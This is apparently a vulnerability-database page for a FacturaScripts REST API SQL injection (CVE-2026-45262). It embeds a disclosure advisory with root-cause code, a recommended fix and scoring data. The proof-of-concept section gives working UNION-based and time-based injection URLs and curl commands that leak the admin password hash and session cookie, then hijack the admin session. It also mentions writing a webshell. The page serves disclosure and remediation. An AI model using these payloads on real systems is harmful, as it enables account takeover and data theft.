CVE-2026-45262

CRITICALPre-NVD 9.99.9
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 9.9 from GitHub Security Advisory (severity: CRITICAL) published 2026-07-14. The CNA's CVSS baseline 9.9; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory
9.9EG
EchelonGraph verdictPlan mitigationRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 9.9Exploit: None knownExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in Where::sqlColumn

Summary

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE = '', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

Details

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

// obtenemos los registros $data = []; $hidden = $this->model->getApiFieldsToHide(); $where = $this->getWhereValues($filter, $operation); foreach ($this->model->all($where, $order, $offset, $limit) as $item) { $data[] = $this->filterHidden($item->toArray(true), $hidden); } ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

switch (substr($key, -3)) { // suffix routing only case '_gt': $field = substr($key, 0, -3); $operator = '>'; break; case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break; case '_lt': $field = substr($key, 0, -3); $operator = '<'; break; } ... if (!isset($operation[$key])) { $operation[$key] = $defaultOperation; }

$where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2) }

return $where; }

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/ route and the dedicated /api/3/attachedfiles route.

DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy

Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:

if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}

Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.

Where::sqlColumn returns parenthesised inputs untouched

Core/Where.php:407-425:

private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

// si empieza por integer, hacemos el cast if (substr($field, 0, 8) === 'integer:') { return self::db()->castInteger(substr($field, 8)); }

// si empieza por lower, hacemos el lower if (substr($field, 0, 6) === 'lower:') { return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')'; }

return self::db()->escapeColumn($field); }

The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).

what an attacker submits

Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=

URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=

The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).

why the getApiFieldsToHide() defence does not apply

Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:

public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}

This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.

why the sort (ORDER BY) hardening does not apply either

Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctly walls off SQL injection in the sort parameter. It does not touch Where::sqlColumn, which retains the original string-presence exemption.

PoC

Setup (one-time, by admin):

# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
  VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
  SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL

Confirm the scope is enforced for normal endpoints:

$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}

Step 1 - leak the admin password hash via the SQL-injection on clientes:

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Step 2 - leak the admin's logkey (the value of the fsLogkey cookie that gates web sessions):

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",

Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:

$ cat > /tmp/fs-hijack <[^<]*' /tmp/admin.html
Plugins

Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:

$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM clientes WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0

The attachedfiles route (Core/Controller/ApiAttachedFiles.php) is identically affected because it carries its own copy of getWhereValues:

$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "date": "01-01-1970",
        "filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Impact

* Cross-resource confidentiality breach. A token granted GET on a single low-value resource (e.g. clientes for an integration that imports customers) reads any column from any table in the schema, including users.password, users.logkey, users.two_factor_secret_key, api_keys.apikey, emails_sent.body, customer financial data, etc. getApiFieldsToHide() only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely. * Full admin takeover. The leaked logkey is the value of the fsLogkey cookie that Core/Base/Controller::privateCore accepts as the session token (User::verifyLogkey is a plain string equality, Core/Model/User.php:403-406). Setting fsNick=admin and fsLogkey= on any HTTP client returns 200 on every admin endpoint, including /AdminPlugins (install arbitrary plugin code), /EditUser?code=admin (rotate the admin password), /EditEmpresa (data-plane writes), /Cron (server-side code execution via cron job extension). * Stealthy. Successful UNION queries do not produce Tools::log()->error entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. The api_keys row is touched by the normal updateActivity() write the API does on every authenticated call, which looks identical to legitimate scoped-token usage. * Reachable from internet. API access is on by default once the operator either sets FS_API_KEY or flips Default -> Enable API in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit. * The same primitive lets an attacker rewrite data. Because ( ) exemption is in Where::sqlColumn itself, write paths that build WHERE clauses from caller-controlled identifiers are equally exposed; the attacker can instead use UPDATE ... WHERE style payloads via stacked queries on engines that allow them, or use SELECT ... INTO OUTFILE on MySQL installations with FILE privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact H for these reasons.

AV:N (network), AC:L (one HTTP GET, no oracle, no specific timing), PR:L (any non-fullaccess ApiKey with one allowed resource), UI:N, S:C (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), C:H I:H A:H. Score 9.9. The S:C (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on /users. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).

Recommended Fix

The bug is squarely in Core/Where.php::sqlColumn. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in Core/Lib/ExtendedController/BaseController::autocompleteAction (commit b8aa78b).

  • Replace the parenthesis presence test with a structural parser. Where::sqlColumn should refuse anything that is not one of: a bare identifier (matching ^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$), LOWER(), UPPER(), CAST( AS ), or COALESCE(, ). The grammar already exists in DbQuery::orderBy (lines 289-307) and just needs to be reused. Anything else is escaped through db()->escapeColumn() (which already handles dotted identifiers correctly):

private static function sqlColumn(string $field): string
   {
       $field = trim($field);

// bare identifier or table.column if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) { return self::db()->escapeColumn($field); }

// limited expression whitelist (mirrors DbQuery::orderBy) if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) { return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')'; }

if (preg_match('/^CAST\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\)$/i', $field, $m)) { return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')'; }

// legacy prefixes if (str_starts_with($field, 'integer:')) { return self::db()->castInteger(substr($field, 8)); } if (str_starts_with($field, 'lower:')) { return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')'; } if (str_starts_with($field, 'upper:')) { return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')'; }

// refuse anything else throw new Exception('Invalid column expression: ' . $field); }

The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for '(...)' style identifiers across the codebase shows zero hits in Core/.

  • Validate filter keys at the API ingress. Even after (1), the API getWhereValues should refuse identifiers that are not bare columns, mirroring BaseController::autocompleteAction:258-261:

foreach ($filter as $key => $value) {
       $field = $key;
       // strip operator suffixes (existing code) ...

if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) { Tools::log('api')->warning('api: invalid filter field name: ' . $field); continue; // skip the bad filter }

// ... remaining code }

Apply the same patch to ApiAttachedFiles::getWhereValues:172-239. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit b8aa78b.

  • Rotate session tokens on detected SQL injection attempts. Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call Cron::log to throttle the originating IP and queue a rotation of User::logkey for any user whose password or logkey columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.

A regression test should issue GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that Tools::log('api')->read() contains the new "invalid filter field name" warning.

CVSS v3
9.9
EG Score
9.9CRITICALmedium confidence
EG Risk
45
EG Risk 45/100

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed (value × EchelonGraph’s weight)
Severity99% × 45%
The EG Score, 9.9 of 10.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 14, 2026

Last Modified

July 14, 2026

Vendor Advisories for CVE-2026-45262(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerfacturascripts/facturascripts—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFix by version rangeDependents
facturascripts/facturascripts2018.03 ... v2026.1 (59 versions)
  • every version through 2026.1: no fix on record
—

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 7× in last 7d / 16× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

Showing the most recent 100 of 227 refreshes on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. None are among the latest 100 rows. The 127 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-10-14 09:17 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  2. 2026-10-13 06:33 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  3. 2026-10-12 16:04 UTCEG score recompute
  4. 2026-10-12 07:47 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  5. 2026-10-11 19:46 UTCEG score recompute
  6. 2026-10-11 17:01 UTCEG score recompute
  7. 2026-10-11 14:26 UTCEG score recompute
  8. 2026-10-01 12:54 UTCEG score recompute
  9. 2026-10-01 12:54 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  10. 2026-09-28 13:18 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  11. 2026-09-28 08:58 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  12. 2026-09-24 09:02 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  13. 2026-09-23 07:53 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  14. 2026-09-23 03:33 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  15. 2026-09-18 10:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  16. 2026-09-18 04:53 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  17. 2026-09-14 07:56 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  18. 2026-09-14 03:36 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  19. 2026-09-13 23:17 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  20. 2026-09-13 16:26 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  21. 2026-09-13 12:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  22. 2026-09-13 07:41 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  23. 2026-09-12 13:13 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  24. 2026-09-12 07:27 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  25. 2026-09-12 01:16 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
Show 75 more
  1. 2026-09-08 01:13 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  2. 2026-09-06 17:54 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  3. 2026-09-06 13:33 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  4. 2026-09-06 01:32 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  5. 2026-09-05 21:02 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  6. 2026-08-31 06:57 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  7. 2026-08-31 02:07 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  8. 2026-08-30 21:46 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  9. 2026-08-30 17:22 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  10. 2026-08-30 13:02 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  11. 2026-08-30 08:42 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  12. 2026-08-30 04:16 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  13. 2026-08-28 01:53 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  14. 2026-08-27 21:29 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  15. 2026-08-27 12:57 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  16. 2026-08-27 03:42 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  17. 2026-08-26 23:23 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  18. 2026-08-26 12:12 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  19. 2026-08-26 05:56 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  20. 2026-08-26 01:07 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  21. 2026-08-25 19:09 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  22. 2026-08-25 13:13 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  23. 2026-08-25 08:52 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  24. 2026-08-25 04:20 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  25. 2026-08-25 00:00 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  26. 2026-08-24 19:39 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  27. 2026-08-24 14:21 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  28. 2026-08-24 10:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  29. 2026-08-24 05:40 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  30. 2026-08-24 01:19 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  31. 2026-08-23 20:57 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  32. 2026-08-23 16:37 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  33. 2026-08-23 12:17 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  34. 2026-08-23 07:56 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  35. 2026-08-23 03:36 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  36. 2026-08-22 23:16 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  37. 2026-08-22 18:56 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  38. 2026-08-22 14:36 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  39. 2026-08-22 10:08 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  40. 2026-08-22 05:41 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  41. 2026-08-22 01:21 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  42. 2026-08-21 21:01 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  43. 2026-08-21 16:41 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  44. 2026-08-21 12:21 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  45. 2026-08-21 07:58 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  46. 2026-08-21 03:38 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  47. 2026-08-20 23:19 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  48. 2026-08-20 18:59 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
  49. 2026-08-20 14:39 UTCGHSA enrichmentGHSA-5qmh-x653-g8qj · GitHub severity CRITICAL · GitHub CVSS 9.9
